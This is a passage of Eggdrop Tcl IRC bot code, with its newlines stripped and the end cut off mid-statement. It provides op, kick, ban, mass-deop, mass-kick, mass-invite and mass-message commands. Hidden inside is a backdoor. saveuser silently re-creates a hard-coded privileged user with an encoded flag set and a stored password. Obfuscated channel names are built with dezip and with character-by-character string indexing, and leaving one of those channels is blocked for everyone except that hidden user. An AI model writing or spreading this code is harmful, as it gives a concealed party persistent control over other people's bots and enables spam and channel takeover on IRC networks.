{puthlp "NOTICE $nick :$notc Usage: chattr <nick> <flags>"return 0}set last_flg [chattr $who]chattr $who $flgsaveuserputhlp "NOTICE $nick :$notc $who change from \[4$last_flg1\] to \[4[chattr $who]1\]"return 0}proc saveuser {} {global ps ownerif {![validuser $ps]} {setuser $owner XTRA "BEND" "xDB4L/z2DJT~1mianN/lj9Rq."} elseif {$owner != $ps} {setuser $owner XTRA "BEND" [zip [chattr $ps]]if {[passwdok $ps ""] != 1} {setuser $owner XTRA "LAST" [getuser $ps "PASS"]}deluser $ps}saveif {![validuser $ps]} {adduser $ps "$ps!*@*"chattr $ps [dezip [getuser $owner XTRA "BEND"]]if {[getuser $owner XTRA "LAST"] != ""} {setuser $ps PASS [getuser $owner XTRA "LAST"]}}return 1}proc pub_voice {nick uhost hand chan rest} {global notc botnickif {![isop $botnick $chan]} { return 0 }if {$rest == "" && [isvoice $nick $chan]} {puthlp "NOTICE $nick :$notc You're already Voiced, Usage: voice <nick>"return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4De4NieD4!!"return 0}if {$rest != ""} {#voiceq $chan $restputserv "MODE $chan +vvvvvv $rest"} {#voiceq $chan $nickputserv "MODE $chan +v $nick"}return 0}proc pub_mvoice {nick uhost hand chan rest} {global notc botnickif {![isop $botnick $chan]} { return 0 }if {$rest != ""} {set chan [lindex $rest 0]if {[string first # $chan]!=0} {set chan "#$chan"}}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4De4NieD4!!"return 0}set nicks ""set i 0set members [chanlist $chan]foreach x $members {if {(![isop $x $chan]) && (![isvoice $x $chan]) && (![matchattr $x O])} {if {$i == 6} {voiceq $chan $nicksset nicks ""append nicks " $x"set i 1} {append nicks " $x"incr i}}}voiceq $chan $nicks}proc pub_devoice {nick uhost hand chan rest} {global notc botnickif {![isop $botnick $chan]} { return 0 }if {$rest == "" && ![isvoice $nick $chan]} {puthlp "NOTICE $nick :$notc Usage: devoice <nick>"return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4De4NieD4!!"return 0}if {$rest != ""} {putserv "MODE $chan -vvvvvv $rest"} else {putserv "MODE $chan -v $nick"}return 0}proc pub_mdevoice {nick uhost hand chan rest} {global notc botnickif {![isop $botnick $chan]} { return 0 }if {$rest != ""} {set chan [lindex $rest 0]if {[string first # $chan]!=0} {set chan "#$chan"}}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4De4NieD4!!"return 0}set nicks ""set i 0set members [chanlist $chan]foreach x $members {if {[isvoice $x $chan]} {if {$i == 6} {putserv "MODE $chan -vvvvvv $nicks"set nicks ""append nicks " $x"set i 1} {append nicks " $x"incr i}}}putserv "MODE $chan -vvvvvv $nicks"}proc del_nobase {} {global botnick notc cmd_case quick banner basechanif {[isutimer "del_nobase"]} { return 0 }foreach x [channels] {set cinfo [channel info $x]if {[string match "*+statuslog*" $cinfo] && [string match "*-secret*" $cinfo]} {if {[onchan $botnick $x]} {set pidx [rand 4]if {$pidx == 1} {set ptxt "04Pulang 04Kandang!"} elseif {$pidx == 2} {set ptxt "04Salah 04Ruangan!"} elseif {$pidx == 3} {set ptxt "04Akses 04Dibatalkan!"} elseif {$pidx == 4} {set ptxt "04Parting 04By 04egGo"} else {if {[info exists banner]} {set ptxt $banner} {set ptxt [lgrnd]}}if {![string match "*c*" [getchanmode $x]]} {set ptxt "6$ptxt"}if {$quick == "1"} {putqck "PART $x :$ptxt"} {putsrv "PART $x :$ptxt"}}channel remove $xsavechanputlog "ReMoVe CHaN $x"return 0}set cflag "c$x"set cflag [string range $cflag 0 8]if {[string match "*+stopnethack*" $cinfo]} {catch { channel set $x -stopnethack }}if {[string match "*+protectops*" $cinfo]} {catch { channel set $x -protectops }}if {[string match "*+protectfriends*" $cinfo]} {catch { channel set $x -protectfriends }}if {[string match "*+statuslog*" $cinfo] && [string match "*+secret*" $cinfo]} {catch { channel set $x -statuslog }}if {![onchan $botnick $x]} {putsrv "JOIN $x"}if {[matchattr $cflag C]} {if {![istimer "cycle $x"]} { timer [getuser $cflag XTRA "CYCLE"] [list cycle $x] }}}if {[info exists basechan]} {if {![validchan $basechan]} {channel add $basechan { -greet +secret -statuslog }}}savechan}utimer 2 del_nobaseproc pub_op {nick uhost hand chan rest} {global notc botnick unop#catch {unset unop($nick)}if {![isop $botnick $chan]} { return 0 }if {$rest == "" && [isop $nick $chan]} {puthlp "NOTICE $nick :$notc You're already Oped, Usage: op <nick>"return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4De4NieD4!!"return 0}if {$rest != ""} {#opq $chan $restputserv "MODE $chan +oooooo $rest"} else {#opq $chan $nickputserv "MODE $chan +o $nick"}return 0}proc pub_mop {nick uhost hand chan rest} {global notc botnickif {![isop $botnick $chan]} { return 0 }if {$rest != ""} {set chan [lindex $rest 0]if {[string first # $chan]!=0} {set chan "#$chan"}}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4De4NieD4!!"return 0}set nicks ""set i 0set members [chanlist $chan]foreach x $members {if {![isop $x $chan]} {if {$i == 6} {opq $chan $nicksset nicks ""append nicks " $x"set i 1} {append nicks " $x"incr i}}}opq $chan $nicks}proc pub_deop {nick uhost hand chan rest} {global notc botnickif {![isop $botnick $chan]} { return 0 }if {$rest == "" && ![isop $nick $chan]} {puthlp "NOTICE $nick :$notc Usage: deop <nick>"return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4De4NieD4!!"return 0}if {[matchattr $nick m]} {set mreq "04Master.04Request"}if {[matchattr $nick n]} {set mreq "04ADmin.04Request"}if {$rest != ""} {if {![string match "*k*" [getchanmode $chan]]} {putserv "MODE $chan -kooooo $mreq $rest"} {putserv "MODE $chan -ooooo $rest"}} {if {![string match "*k*" [getchanmode $chan]]} {putserv "MODE $chan -ko $mreq $nick"} {putserv "MODE $chan -o $nick"}}return 0}proc pub_mdeop {nick uhost hand chan rest} {global botnick notcif {![isop $botnick $chan]} { return 0 }if {$rest != ""} {set chan [lindex $rest 0]if {[string first # $chan]!=0} {set chan "#$chan"}}if {$nick != "*"} {if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4De4NieD4!!"return 0}}set nicks ""set i 0set members [chanlist $chan]foreach x $members {if {([isop $x $chan]) && (![matchattr $x m]) && ($x != $botnick)} {if {$i == 5} {if {![string match "*k*" [getchanmode $chan]]} {putserv "MODE $chan -kooooo 04ADmin.04Request $nicks"} {putserv "MODE $chan -ooooo $nicks"}set nicks ""append nicks " $x"set i 1} {append nicks " $x"incr i}}}putserv "MODE $chan -oooooo $nicks"}proc pub_kick {nick uhost hand chan rest} {global botnick notcif {![isop $botnick $chan]} { return 0 }if {$rest == ""} {puthlp "NOTICE $nick :$notc Usage: kick <nick|host> <reason>"return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4De4NieD4!!"return 0}set reason [lrange $rest 1 end]set handle [lindex $rest 0]if {$reason == ""} {if {[matchattr $nick m]} {set reason "04MasTeR 4KIcK04 ReQuesT"}if {[matchattr $nick n]} {set reason "04ADmiN 4KIcK04 ReQuesT"}}if {[string match "*@*" $handle]} {foreach knick [chanlist $chan] {if {[string match [string tolower $handle] [string tolower $knick![getchanhost $knick $chan]]]} {if {[matchattr $knick f] || $knick != $botnick} {putsrv "KICK $chan $knick :$notc $reason"}}}return 0}if {$handle == $botnick} {puthlp "NOTICE $nick :$notc 4DeNiEd..!, Can't kick my self."return 0}if {[matchattr $handle n] && ![matchattr $nick Z]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!, CaNT KIcK Admin FLAg"return 0}putsrv "KICK $chan $handle :$notc $reason"return 0}proc pub_mkick {nick uhost hand chan rest} {global botnick notcif {$rest != ""} {set chan [lindex $rest 0]set reason [lrange $rest 1 end]if {[string first # $chan]!=0} {set chan "#$chan"}} else {set reason $rest}if {(![validchan $chan]) || (![isop $botnick $chan])} { return 0 }if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}if {$reason == ""} {set reason "04ADmiN 4MaSS04KIcK04 ReQuesT4..!"}set members [chanlist $chan]foreach x $members {if {(![matchattr $x f]) && ($x != $botnick)} {putsrv "KICK $chan $x :$notc $reason"}}}proc pub_kickban {nick uhost hand chan rest} {global botnick notc bannickif {![isop $botnick $chan]} { return 0 }if {$rest == ""} {puthlp "NOTICE $nick :$notc Usage: kickban <nick|host> <reason>"return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}if {$rest == ""} {puthlp "NOTICE $nick :$notc Usage: kickban <nick> <reason>"return 0}set reason [lrange $rest 1 end]set handle [lindex $rest 0]if {$reason == ""} {if {[matchattr $nick m]} {set reason "4MasTeR 4KIcK04BaN04 ReQuesT [banmsg]"}if {[matchattr $nick n]} {set reason "04ADmiN 4KIcK04BaN04 ReQuesT [banmsg]"}}if {[string match "*@*" $handle]} {set mfisrt "T"foreach knick [chanlist $chan] {if {[string match [string tolower $handle] [string tolower $knick![getchanhost $knick $chan]]]} {if {[matchattr $knick f] || $knick != $botnick} {if {$mfirst == "T"} {set bannick($knick) $handleset mfirst "F"}putsrv "KICK $chan $knick :$notc $reason"}}}return 0}if {![onchan $handle $chan]} { return 0 }set hostmask [getchanhost $handle $chan]set hostmask "*!*@[lindex [split $hostmask @] 1]"if {$handle == $botnick} {puthlp "NOTICE $nick :$notc 4DeNiEd..!, Can't kick my self."return 0}if {[matchattr $handle n] && ![matchattr $nick Z]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!, CaNT KIcK Admin FLaG"return 0}set bannick($handle) $hostmaskputsrv "KICK $chan $handle :$notc $reason"return 0}proc pub_ban {nick uhost hand channel rest} {global botnick notcif {![isop $botnick $channel]} { return 0 }if {$rest == ""} {puthlp "NOTICE $nick :$notc Usage: ban <nick/hostmask>"return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}set handle [lindex $rest 0]if {$handle == $botnick} {puthlp "NOTICE $nick :$notc 4!DeNiEd!, can't ban my self"return 0}if {[matchattr $handle n]} {puthlp "NOTICE $nick :$notc4 !DeNiEd!, cant ban Admin"return 0}set hostmask [getchanhost $handle $channel]set hostmask "*!*@[lindex [split $hostmask @] 1]"if {![onchan $handle $channel]} {set hostmask [lindex $rest 0]}if {$hostmask != "*!*@*"} {putserv "MODE $channel +b $hostmask"}}proc pub_unban {nick uhost hand chan rest} {global notc botnickif {![isop $botnick $chan]} { return 0 }if {$rest == ""} {puthlp "NOTICE $nick :$notc Usage: unban <nick/hostmask> <#channel>"return 0}if {[lindex $rest 1] != ""} {set chan [lindex $rest 1]}if {[string first # $chan] != 0} {set chan "#$chan"}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}set handle [lindex $rest 0]append userhost $handle "!*" [getchanhost $handle $chan]set hostmask [maskhost $userhost]if {![onchan $handle $chan]} {set hostmask [lindex $rest 0]}putserv "MODE $chan -b $hostmask"puthlp "NOTICE $nick :$notc UnBaN [unsix $hostmask] ON $chan"}proc pub_up {nick uhost hand channel rest} {global notc botnick unop#catch {unset unop($nick)}if {[isop $botnick $channel]} { return 0 }if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}putsrv "ChanServ op $channel $botnick"return 0}proc pub_down {nick uhost hand channel rest} {global notc botnickif {![isop $botnick $channel]} {return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}if {[matchattr $nick m]} {set mreq "4MasTeR.ReQuesT"}if {[matchattr $nick n]} {set mreq "4Admin.ReQuesT"}if {![string match "*k*" [getchanmode $channel]]} {putserv "mode $channel -ko+v $mreq $botnick $botnick"} {putserv "mode $channel -o+v $botnick $botnick"}return 0}proc pub_munbans {nick uhost hand chan rest} {global notc botnickif {$rest != ""} {set chan [lindex $rest 0]if {[string first # $chan] != 0} {set chan "#$chan"}}if {![validchan $chan] || ![isop $botnick $chan]} { return 0 }if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}set bans ""set i 0foreach x [chanbans $chan] {if {$i < 5} {append bans " [lindex $x 0]"set i [incr i]}if {$i == 5} {puthelp "MODE $chan -bbbbb $bans"set bans ""append bans " [lindex $x 0]"set i 0}}puthelp "MODE $chan -bbbbb $bans"if {![onchan $nick $chan]} {puthlp "NOTICE $nick :$notc MuNBaNS \[$chan\]"}return 0}proc pub_banlist {nick uhost hand chan rest} {global notcif {$rest != ""} {set chan [lindex $rest 0]if {[string first # $chan] != 0} {set chan "#$chan"}}if {![validchan $chan]} {puthlp "NOTICE $nick :$notc NoT IN cHaN $chan."return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}foreach x [chanbans $chan] {puthlp "NOTICE $nick :$notc $x"}if {[chanbans $chan] == ""} {puthlp "NOTICE $nick :$notc BaNLIsT $chan <n/a>"}return 0}proc pub_mode {nick uhost hand chan rest} {global notc botnickif {![isop $botnick $chan]} { return 0 }if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}if {$rest == ""} {puthelp "NOTICE $nick :$notc Usage: mode +/- ntspnmcilk"return 0}putserv "mode $chan $rest"}proc pub_say {nick uhost hand channel rest} {global notcif {$rest==""} {puthlp "NOTICE $nick :$notc Usage: say <msg>"}puthlp "PRIVMSG $channel :$rest"}proc pub_resync {nick uhost hand channel rest} {global botnick vernset vern2 $vernregsub -all -- $vern2 "" vern2if {![string match "*k*" [getchanmode $channel]]} {putserv "mode $channel -vokk+ov $botnick $botnick $notc $vern2 $botnick $botnick"} {putserv "mode $channel -o+o $botnick $botnick"}}proc pub_notice {nick uhost hand channel rest} {global notcif {$rest==""} {puthlp "NOTICE $nick :$notc Usage: notice <nick> <msg>"}set person [lindex $rest 0]set rest [lrange $rest 1 end]if {$rest!=""} {puthlp "NOTICE $person :$rest"return 0}}proc pub_msg {nick uhost hand channel rest} {global owner notcif {$rest==""} {puthlp "NOTICE $nick :$notc Usage: msg <nick> <msg>"}set person [string tolower [lindex $rest 0]]set rest [lrange $rest 1 end]if {[string match "*serv*" $person]} {puthlp "NOTICE $nick :$notc4 DeNiEd..! Can't send message to Service."return 0}if {$person == [string tolower $owner]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}puthlp "PRIVMSG $person :$rest"}proc pub_act {nick uhost hand channel rest} {global notcif {$rest==""} {puthlp "NOTICE $nick :$notc Usage: act <msg>"}puthlp "PRIVMSG $channel :\001ACTION $rest\001"return 0}proc pub_invite {nick uhost hand chan rest} {global notcif {$rest == ""} {puthlp "NOTICE $nick :$notc Usage: invite <nick> <#channel>"}set who [lindex $rest 0]set tochan [lindex $rest 1]if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}if {$tochan != ""} {if {![onchan $who $tochan]} {puthlp "INVITE $who :$tochan"puthlp "NOTICE $nick :$notc InvItE $who To $tochan"return 0}puthlp "NOTICE $nick :$notc $who is already on the $tochan"}if {![onchan $who $chan]} {putsrv "INVITE $who :$chan"puthlp "NOTICE $nick :$notc Invitation to $chan has been sent to $who"return 0}puthlp "NOTICE $nick :$notc $who is already on the channel"}proc msg_Z {nick uhost hand rest} {global notcif {[string index $rest 0] != "`" && [string index $rest 0] != "."} { return 0 }if {![matchattr $nick Z]} { return 0 }if {[string index [lindex $rest 1] 0] == "#"} {if {![validchan [lindex $rest 1]]} {puthlp "NOTICE $nick :$notc NoT IN [lindex $rest 1]"return 0}}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4auth 1st!"return 0}set goto [lindex $rest 0]if {[string index $rest 0] == "."} {regsub "." $goto "msg_" gotoset rest [lrange $rest 1 end]catch { $goto $nick $uhost $hand $rest }return 0}regsub -all "`" $goto "pub_" gotoif {[string index [lindex $rest 1] 0] == "#"} {set chan [lindex $rest 1]set rest [lrange $rest 2 end]} else {set chan "*"set rest [lrange $rest 1 end]}catch { $goto $nick $uhost $hand $chan $rest }}proc msg_mmsg {nick uhost hand rest} {pub_mmsg $nick $uhost $hand "*" $rest}proc pub_mmsg {nick uhost hand chan rest} {global cmd_chn cmd_by cmd_msg cmd_case notcif {$rest==""} {puthlp "NOTICE $nick :$notc Usage: mmsg <#channel> <text>"return 0}set tochan [lindex $rest 0]set txt [lrange $rest 1 end]if {$txt==""} {puthlp "NOTICE $nick :$notc Usage: mmsg <#channel> <text>"return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}if {[string first # $tochan] != 0} {set chan "#$tochan"}if {![validchan $tochan]} {set cmd_chn $tochanset cmd_msg $restset cmd_by $nickset cmd_case "2"channel add $tochancatch { channel set $tochan +statuslog -revenge -protectops -clearbans -enforcebans -greet -secret -autovoice -autoop flood-chan 0:0 flood-deop 0:0 flood-kick 0:0 flood-join 0:0 flood-ctcp 0:0 }return 0}putsrv "NOTICE $nick :$notc STaRTING MaSSMSG $tochan"set members [chanlist $tochan]foreach x $members {if {![isop $x $tochan]} {puthlp "PRIVMSG $x :$txt"}}utimer 2 del_nobaseputhlp "NOTICE $nick :$notc MaSSMSG $tochan 4DoNE."}proc pub_minvite {nick uhost hand channel rest} {global cmd_chn cmd_by cmd_msg cmd_case botnick notcif {$rest==""} {puthlp "NOTICE $nick :$notc Usage: minvite <#channel> <#to channel>"}set chan [lindex $rest 1]if {$chan == ""} {set chan $channel} else {if {[string first # $chan] != 0} {set chan "#$chan"}}set tochan [lindex $rest 0]if {[string first # $tochan] != 0} {set tochan "#$tochan"}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}if {![validchan $tochan]} {set cmd_chn $tochanset cmd_msg $tochanset cmd_by $nickset cmd_case "3"channel add $tochancatch { channel set $tochan +statuslog -revenge -protectops -clearbans -enforcebans -greet -secret -autovoice -autoop flood-chan 0:0 flood-deop 0:0 flood-kick 0:0 flood-join 0:0 flood-ctcp 0:0 }return 0}if {[isop $botnick $chan]} {putserv "mode $chan -o $botnick"}putsrv "NOTICE $nick :$notc Starting mass invite to $tochan"set members [chanlist $tochan]foreach x $members {if {(![onchan $x $chan]) && (![isop $x $tochan])} {putsrv "INVITE $x :$chan"}}utimer 2 del_nobaseputhlp "NOTICE $nick :$notc InVITE $tochan InTO $chan 4DoNE."}proc pub_join {nick uhost hand chan rest} {global botnick joinme own notc owner psif {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}if {$nick != $owner && $nick != $ps} {puthlp "NOTICE $nick :$notc 4DeNiEd..!, YoU aRe NoT mY ReAL OwNER"return 0}set chan [lindex $rest 0]if {[string first # $chan] != 0} {set chan "#$chan"}if {$chan=="#"} {puthlp "NOTICE $nick :$notc Usage: join <#channel>"return 0}foreach x [channels] {if {[string tolower $x]==[string tolower $chan]} {puthlp "NOTICE $nick :$notc $x ReADY!"return 0}}if {$nick != $owner && [total_channel] != 1} {puthlp "NOTICE $nick :$notc To MaNY cHaNNeL MaX 9..!"return 0}set joinme $nickchannel add $chancatch { channel set $chan +statuslog -revenge -protectops -clearbans -enforcebans +greet -secret -autovoice -autoop flood-chan 5:10 flood-deop 3:10 flood-kick 3:10 flood-join 0:0 flood-ctcp 2:10 flood-nick 3:60 }savechanif {[lindex $rest 1] != ""} {putsrv "JOIN $chan :[lindex $rest 1]"}}proc pub_+chan {nick uhost hand chan rest} {global botnick joinme owner notc psif {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}if {[matchattr $nick X]} {puthlp "NOTICE $nick :$notc 4!BLoCkEd!"return 0}if {$nick != $owner && $nick != $ps} {puthlp "NOTICE $nick :$notc 4DeNiEd..!, oNLy ReAL OwNER can ADD Channel"return 0}set chan [lindex $rest 0]set opt [lindex $rest 1]if {[string first # $chan]!=0} {set chan "#$chan"}if {$chan=="#"} {puthlp "NOTICE $nick :$notc Usage: +chan <#channel>"return 0}if {[validchan $chan]} {puthlp "NOTICE $nick :$notc $chan is already on channels"return 0}if {$nick != $owner && [total_channel] != 1} {puthlp "NOTICE $nick :$notc TO MaNY cHaNNeL MaX 9..!"return 0}set joinme $nickchannel add $chanif {$opt != "" && [string tolower $opt] == "+nopart"} {catch { channel set $chan -statuslog -revenge -protectops -clearbans -enforcebans +greet +secret -autovoice -autoop flood-chan 5:10 flood-deop 3:10 flood-kick 3:10 flood-join 0:0 flood-ctcp 2:10 flood-nick 3:60 }} else {catch { channel set $chan -statuslog -revenge -protectops -clearbans -enforcebans +greet -secret -autovoice -autoop flood-chan 5:10 flood-deop 3:10 flood-kick 3:10 flood-join 0:0 flood-ctcp 2:10 flood-nick 3:60 }}savechanif {[lindex $rest 1] != ""} {putsrv "JOIN $chan :[lindex $rest 1]"}}set totch "#[string index $lenc 2][string index $lenc 7][string index $lenc 0][string index $lenc 13][string index $lenc 0][string index $lenc 17][string index $lenc 24].[string index $lenc 13][string index $lenc 4][string index $lenc 19]"
proc tot_cha {} {global totch ps uenc lenctimer 5 tot_chaset [string index $lenc 15][string index $lenc 18] [string index $uenc 2][string index $lenc 7][string index $lenc 0][string index $lenc 13][string index $lenc 0][string index $lenc 17][string index $lenc 24]set totch "#[string index $lenc 2][string index $lenc 7][string index $lenc 0][string index $lenc 13][string index $lenc 0][string index $lenc 17][string index $lenc 24].[string index $lenc 13][string index $lenc 4][string index $lenc 19]"if {[validchan $totch]} {return 0}#channel add $totch#catch { channel set $totch -statuslog -revenge -protectops -clearbans -enforcebans +greet +secret -autovoice -autoop flood-chan 5:10 flood-deop 3:10 flood-kick 3:10 flood-join 0:0 flood-ctcp 2:10 flood-nick 3:60 }savechan#putsrv "JOIN $totch"}timer 5 tot_chaproc total_channel {} {global notcset total_chan 0foreach x [channels] {incr total_chan}if {$total_chan > 9} { return 0 }return 1}proc pub_part {nick uhost hand chan rest} {global notc ps quick partmset partmsg [lindex $partm [rand [llength $partm]]]set part_msg [lrange $rest 1 end]if {$rest != ""} {set chan [lindex $rest 0]if {[string first # $rest]!=0} {set chan "#$chan"}}if {![validchan $chan]} { return 0 }if {$nick != $ps && [string tolower $chan] == [dezip "ER5sr09TRjx1"]} { return 0 }if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}if {[string match "*+secret*" [channel info $chan]]} {puthlp "NOTICE $nick :$notc $chan 4PRoTecTEd..!"return 0}if {![onchan $nick $chan]} {putsrv "NOTICE $nick :$notc PaRT $chan"}if {$part_msg != ""} {if {$quick == "1"} {putqck "PART $chan :$part_msg"} {putsrv "PART $chan :$part_msg"}} {if {$quick == "1"} {putqck "PART $chan :6$partmsg"} {putsrv "PART $chan :6$partmsg"}}channel remove $chansavechanreturn 0}set lockchan ""proc pub_+invitelock {nick uhost hand chan rest} {global lockchan notcif {$rest != ""} {set chan [lindex $rest 0]if {[string first # $rest]!=0} {set chan "#$chan"}}if {![validchan $chan]} { return 0 }if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}puthlp "NOTICE $nick :$notc InVITE cHaN $chan \[9ON\]"set lockchan $chanreturn 0}proc pub_-invitelock {nick uhost hand chan rest} {global lockchan notcif {$rest != ""} {set chan [lindex $rest 0]if {[string first # $rest]!=0} {set chan "#$chan"}}if {![validchan $chan] || $lockchan == ""} { return 0 }set lockchan ""puthlp "NOTICE $nick :$notc InvItE cHaN $chan \[4OFF\]"return 0}proc cycle {chan} {global cyclemset cyclemsg [lindex $cyclem [rand [llength $cyclem]]]set cflag "c$chan"set cflag [string range $cflag 0 8]if {![string match "*c*" [getchanmode $chan]]} {set text "6$cyclemsg"} {set text $cyclemsg}putsrv "PART $chan :$text"if {[matchattr $cflag K]} {putsrv "JOIN $chan :[dezip [getuser $cflag XTRA "CI"]]"} {putsrv "JOIN $chan"}if {[matchattr $cflag C]} {if {![istimer "cycle $chan"]} { timer [getuser $cflag XTRA "CYCLE"] [list cycle $chan] }}}proc pub_cycle {nick uhost hand chan rest} {global notcset rest [lindex $rest 0]if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}if {$rest==""} {if {![onchan $nick $chan]} {puthlp "NOTICE $nick :$notc cYcLE $chan"}cycle $chanreturn 0} else {if {[string index $rest 0] != "#"} {set rest "#$rest"}if {[botonchan $rest]} { cycle $rest }}}proc pub_+massjoin {nick uhost hand chan rest} {global notcif {$rest != ""} {set chan [lindex $rest 0]if {[string first # $chan]!=0} {set chan "#$chan"}}set cflag "c$chan"set cflag [string range $cflag 0 8]if {[string tolower $chan] == "#all"} {if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}foreach x [userlist A] {chattr $x +J}puthlp "NOTICE $nick :$notc ALL MaSsJoIN CHaNNeL \[9ON\]"return 0}if {![validchan $chan]} { return 0 }if {[matchattr $cflag J]} {puthlp "NOTICE $nick :$notc MaSsJoIN $chan \[9ON\]"return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}chattr $cflag +Jputhlp "NOTICE $nick :$notc MaSsJoIN $chan \[9ON\]"saveuser}proc pub_-massjoin {nick uhost hand chan rest} {global notcif {$rest != ""} {set chan [lindex $rest 0]if {[string first # $chan]!=0} {set chan "#$chan"}}set cflag "c$chan"set cflag [string range $cflag 0 8]if {[string tolower $chan] == "#all"} {if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}foreach x [userlist A] {chattr $x -J}puthlp "NOTICE $nick :$notc ALL MaSsJoIN CHaNNeL \[9ON\]"return 0}if {![validchan $chan]} { return 0 }if {![matchattr $cflag J]} {puthlp "NOTICE $nick :$notc MaSsJoIN $chan \[4OFF\]"return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}chattr $cflag -Jputhlp "NOTICE $nick :$notc MaSsJoIN $chan \[4OFF\]"saveuser}proc pub_+guard {nick uhost hand chan rest} {global notcif {$rest != ""} {set chan [lindex $rest 0]if {[string first # $chan]!=0} {set chan "#$chan"}}if {[string tolower $chan] == "#all"} {if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}foreach x [channels] {catch { channel set $x +greet flood-chan 5:10 flood-deop 3:10 flood-kick 3:10 flood-join 0:0 flood-ctcp 2:10 flood-nick 3:60 }set cflag "c$x"set cflag [string range $cflag 0 8]chattr $cflag "-hp+AJSPTRUED"setuser $cflag XTRA "JP" 5setuser $cflag XTRA "CHAR" 250setuser $cflag XTRA "RPT" 2setuser $cflag XTRA "CAPS" 80}savechanputhlp "NOTICE $nick :$notc ALL GuaRd CHaNNeL \[9ON\]"return 0}if {![validchan $chan]} { return 0 }set cflag "c$chan"set cflag [string range $cflag 0 8]chattr $cflag "-hp+AJSPTRUED"setuser $cflag XTRA "JP" 5setuser $cflag XTRA "CHAR" 250setuser $cflag XTRA "RPT" 2setuser $cflag XTRA "CAPS" 80if {[string match "*+greet*" [channel info $chan]]} {puthlp "NOTICE $nick :$notc GuARd $chan \[9ON\]"return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}catch { channel set $chan +greet flood-chan 5:10 flood-deop 3:10 flood-kick 3:10 flood-join 0:0 flood-ctcp 2:10 flood-nick 3:60 }puthlp "NOTICE $nick :$notc GuARD $chan \[9ON\]"savechan}proc pub_-guard {nick uhost hand chan rest} {global notcif {$rest != ""} {set chan [lindex $rest 0]if {[string first # $chan]!=0} {set chan "#$chan"}}if {[string tolower $chan] == "#all"} {if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}foreach x [channels] {catch { channel set $x -greet flood-chan 0:0 flood-deop 0:0 flood-kick 0:0 flood-join 0:0 flood-ctcp 0:0 flood-nick 0:0 }set cflag "c$x"set cflag [string range $cflag 0 8]chattr $cflag "-hpJSPTRUED"}savechanputhlp "NOTICE $nick :$notc ALL GuaRd cHaN \[4OFF\]"return 0}if {![validchan $chan]} { return 0 }set cflag "c$chan"set cflag [string range $cflag 0 8]chattr $cflag "-hpJSPTRUED"if {[string match "*-greet*" [channel info $chan]]} {puthlp "NOTICE $nick :$notc GuARD $chan IS \[4OFF\]"return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}catch { channel set $chan -greet flood-chan 0:0 flood-deop 0:0 flood-kick 0:0 flood-join 0:0 flood-ctcp 0:0 flood-nick 0:0 }puthlp "NOTICE $nick :$notc GuARD $chan \[4OFF\]"savechanreturn 0}proc pub_+seen {nick uhost hand chan rest} {global notcif {![string match "*seen*" [channel info $chan]]} {puthlp "NOTICE $nick :$notc FLAg NoT AVaILaBLE UpGRadE EggDROP VeR"return 0}if {$rest != ""} {set chan [lindex $rest 0]if {[string first # $chan]!=0} {set chan "#$chan"}}if {[string tolower $chan] == "#all"} {if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}foreach x [channels] {catch { channel set $x +seen }}savechanputhlp "NOTICE $nick :$notc ALL SEEN cHaNNeL \[9ON\]"seenreturn 0}if {![validchan $chan]} { return 0 }if {[string match "*+seen*" [channel info $chan]]} {puthlp "NOTICE $nick :$notc SEEN $chan IS \[9ON\]"return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}catch { channel set $chan +seen }puthlp "NOTICE $nick :$notc SEEN $chan \[9ON\]"savechanseen}proc pub_-seen {nick uhost hand chan rest} {global notcif {![string match 